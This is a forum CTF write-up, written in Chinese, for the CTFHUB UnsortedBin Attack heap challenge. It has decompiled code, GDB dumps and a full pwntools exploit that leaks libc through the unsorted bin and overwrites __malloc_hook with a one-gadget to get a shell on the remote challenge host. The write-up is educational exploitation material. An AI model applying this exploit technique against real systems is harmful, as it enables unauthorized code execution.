首页
社区
课程
招聘
[原创][writeup]CTFHUB-UnsortedBin Attack
2023-3-13 17:01 14361

[原创][writeup]CTFHUB-UnsortedBin Attack

2023-3-13 17:01
14361

目录

目录

程序分析

IDA静态分析

伪代码分析

main()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  interface();
}
void __noreturn interface()
{
  int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
 
  v1 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &choice);
      if ( choice != 1 )
        break;
      add();
    }
    switch ( choice )
    {
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 1024:
        if ( magic > 28800 )
          system("/bin/sh");
        break;
      default:
        exit(-1);
    }
  }
}

add()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 add()
{
  unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREF
  unsigned int index; // [rsp+8h] [rbp-1018h]
  unsigned int v3; // [rsp+Ch] [rbp-1014h]
  char v4[4096]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v5; // [rsp+1018h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(v4, 0, sizeof(v4));
  for ( index = 0; index <= 9; ++index )
  {
    if ( !*(&heapList + index) )
    {
      v3 = index;
      break;
    }
  }
  if ( index == 11 )
  {
    puts("wrong");
    exit(0);
  }
  puts("Size: ");
  __isoc99_scanf("%d", &inputSize);
  if ( inputSize > 0x500 )
    inputSize = 1280;
  *(&heapList + v3) = malloc(inputSize);
  Size[v3] = inputSize;
  puts("Content: ");
  read(0, *(&heapList + v3), inputSize);
  return __readfsqword(0x28u) ^ v5;
}

delete()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 delete()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);
  if ( index > 0xB )
  {
    puts("wrong");
    exit(0);
  }
  free(*(&heapList + index));
  *(&heapList + index) = 0LL;
  Size[index] = 0;
  return __readfsqword(0x28u) ^ v2;
}

show()函数

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 show()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);
  if ( *(&heapList + index) )
    printf("Content: %s\n", (const char *)*(&heapList + index));
  return __readfsqword(0x28u) ^ v2;
}

edit()函数【利用点-堆溢出】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 edit()
{
  int nbytes; // [rsp+0h] [rbp-10h] BYREF
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &index);
  puts("Size:");
  __isoc99_scanf("%d", &nbytes);
  if ( Size[index] >= nbytes )
  {
    if ( *(&heapList + index) )
    {
      puts("Content:");
      read(0, *(&heapList + index), (unsigned int)nbytes);
    }
    else
    {
      puts("wrong");
    }
  }
  else
  {
    puts("wrong!");
  }
  return __readfsqword(0x28u) ^ v3;
}

GDB调试分析

全局变量上方内存区,我们本次不利用此块内容

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/30gx 0x6020AC-0x1f
0x60208d:    0xfff7bc38e0000000    0x000000000000007f
0x60209d:    0xfff7bc4540000000    0x000000000000007f
0x6020ad <magic+1>:    0x0000000000000000    0x0000000000000000
0x6020bd:    0x0000000000000000    0x0000000000000000
0x6020cd <ptr+13>:    0x0000000000000000    0x0000000000000000
0x6020dd <ptr+29>:    0x0000000000000000    0x0000000000000000
0x6020ed <ptr+45>:    0x0000000000000000    0x0000000000000000
0x6020fd <ptr+61>:    0x0000000000000000    0x0000000000000000
0x60210d <ptr+77>:    0x0000000000000000    0x0000000000000000
0x60211d:    0x0000000000000000    0x0000000000000000
0x60212d <Size+13>:    0x0000000000000000    0x0000000000000000
0x60213d <Size+29>:    0x0000000000000000    0x0000000000000000

mallocHook上方内存区

1
2
3
4
5
6
pwndbg> x/30gx 0x7ffff7bc3b10-0x30
0x7ffff7bc3ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
0x7ffff7bc3af0 <_IO_wide_data_0+304>:    0x00007ffff7bc2260    0x0000000000000000
0x7ffff7bc3b00 <__memalign_hook>:    0x00007ffff78853f0    0x00007ffff7884fd0
0x7ffff7bc3b10 <__malloc_hook>:    0x00007ffff7884e00    0x0000000000000000
0x7ffff7bc3b20 <main_arena>:    0x0000000000000000    0x0000000000000000

FakeChunk选址

1
2
3
4
5
6
pwndbg> x/30gx 0x7ffff7bc3b20-0x33
0x7ffff7bc3aed <_IO_wide_data_0+301>:    0xfff7bc2260000000    0x000000000000007f
0x7ffff7bc3afd:    0xfff78853f0000000    0xfff7884fd000007f
0x7ffff7bc3b0d <__realloc_hook+5>:    0xfff7884e0000007f    0x000000000000007f
0x7ffff7bc3b1d:    0x0000000000000000    0x0000000000000000
0x7ffff7bc3b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000

分析总结

虽然这题叫UnsortedBin Attack,但是甚至可以用上一题的exp来打通,不是很理解为什么要在interface函数中设置magic这个后门,不过为了符合出题人的要求,所以还是单独用UnsortedBin Attack来做一次

 

假如不存在全局变量heapList;magic,目前不知道需要申请FakeChunk到哪个位置,所以需要使用Unsorted Bin来泄露main_Arena的地址

漏洞利用及原理

可利用漏洞

  • 整数溢出漏洞
  • 堆溢出漏洞

1.UnsortedBin Attack | Leak mainArena

利用思路

根据分析可知:

  • add()函数允许用户申请10个不大于0x500的heap
  • edit()函数中存在堆溢出漏洞
  • __malloc_hook()函数位于main_arena-0x10
  • __malloc_hook()函数上方存在可用于构造FakeChunk的内存区

利用流程

  1. 申请3块大小为0x60chunk#0 chunk#1 chunk#2、申请1块大小为0x400chunk#3、再申请一块大小为0x60chunk#4
  2. 释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena
  3. 通过edit()函数填充chunk#2chunk#3->size
  4. 使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hookLibcBase
  5. 使用FastBin Attack篡改__malloc_hook使其指向oneGadget

利用原理

FreeChunkunsorted bin一链表中唯一元素时,该FreeChunk->fd FreeChunk->bk均指向main_arena+offset,经过调试得知该offset=88;__malloc_hook = main_arena-0x10,经过上述分析已知__malloc_hook上方可构造FakeChunk以劫持__malloc_hook

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
 
prog = "./pwn"
 
local = False
context(os='linux', arch='amd64', log_level='debug')
 
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
 
if local:
    p = process(prog)
    libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
    gdb.attach(p)
    sleep(1)
else:
    p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865)
 
def add(size):
    p.sendlineafter(">> ","1")
    p.sendlineafter("Size: \n",str(size))
    p.sendafter("Content: \n",b"\x00")
 
def show(index):
    p.sendlineafter(">> ","3")
    p.sendlineafter("Index:\n",str(index))
 
def dele(index):
    p.sendlineafter(">> ","2")
    p.sendlineafter("Index:\n",str(index))
 
def edit(index,content):
    p.sendlineafter(">> ","4")
    p.sendlineafter("Index:\n",str(index))
    p.sendlineafter("Size:\n","-1")
    p.sendafter("Content:\n",content)
 
fakeChunk = 0x60208d
 
add(0x60)#0
add(0x60)#1
add(0x60)#2
add(0x400)#3
add(0x60)#4 避免chunk#3与topChunk合并
 
dele(3)
payload = b"A"*0x70
edit(2,payload)
show(2)
 
mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("mainArena ===========> {}".format(hex(mainArena)))
mallocHook = mainArena-0x10-88
libcBase = mallocHook - libc.sym['__malloc_hook']
oneGadGet = 0xf1247 + libcBase
 
fakeChunk = mallocHook - 0x23
 
#易错点,请勿忽略本操作
payload = b"\x00"*0x60
payload += p64(0)
payload += p64(0x411)
edit(2,payload)#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明
#易错点,请勿忽略本操作
 
#接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》
dele(2)
dele(1)
payload = b"A"*0x60
payload += p64(0)
payload += p64(0x71)
payload += p64(fakeChunk)
edit(0,payload)
 
add(0x60)#1
add(0x60)#2 = fakeChunk
 
payload = b"A"*0x13
payload += p64(oneGadGet)
edit(2,payload)
 
 
p.interactive()
p.close()

总结

关于通过 Unsorted Bin 泄露地址的补充

本题的重点是通过Unsorted Bin来泄露main_arena,具体泄露方式需要参照题目的show()函数运作方式,例如本题是以字符串来输出heap中内容,我们只需要把内存填充至fd\bk指针即可

 

举个其它show()函数形式的例子:write(0,heapList[index]+16,*heapList[index]+8)

 

该情况下泄露思路如下

  1. 申请一块0x60大小的chunk#0
  2. 申请一块0x40大小的chunk#1
  3. 申请一块0x400大小的chunk#2
  4. 通过堆溢出篡改chunk#1的size为0x60
  5. show(1)即可打印出chunk#2的fd和bk

本题易错点

可以注意到在完成泄露准备释放chunk#2 chunk#1时对chunk#3->heapHeader进行了一次还原,若不作此操作,将会触发报错

*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***

 

可以注意到是在free()函数时的错误,若进入glibc源码中搜索invalid next size (fast)可以找到触发该报错的函数是_int_free,以下是触发该报错的检查源码

1
2
3
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
        __libc_lock_unlock (av->mutex);

该检查会判断下一块chunk的大小是否小于 MINSIZE || 大于 system_mem,若符合则会报错,所以需要将下一个chunk的size修改成符合条件的值避免报错


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-3-13 17:11 被LeaMov编辑 ,原因: 代码传错
上传的附件:
收藏
点赞6
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回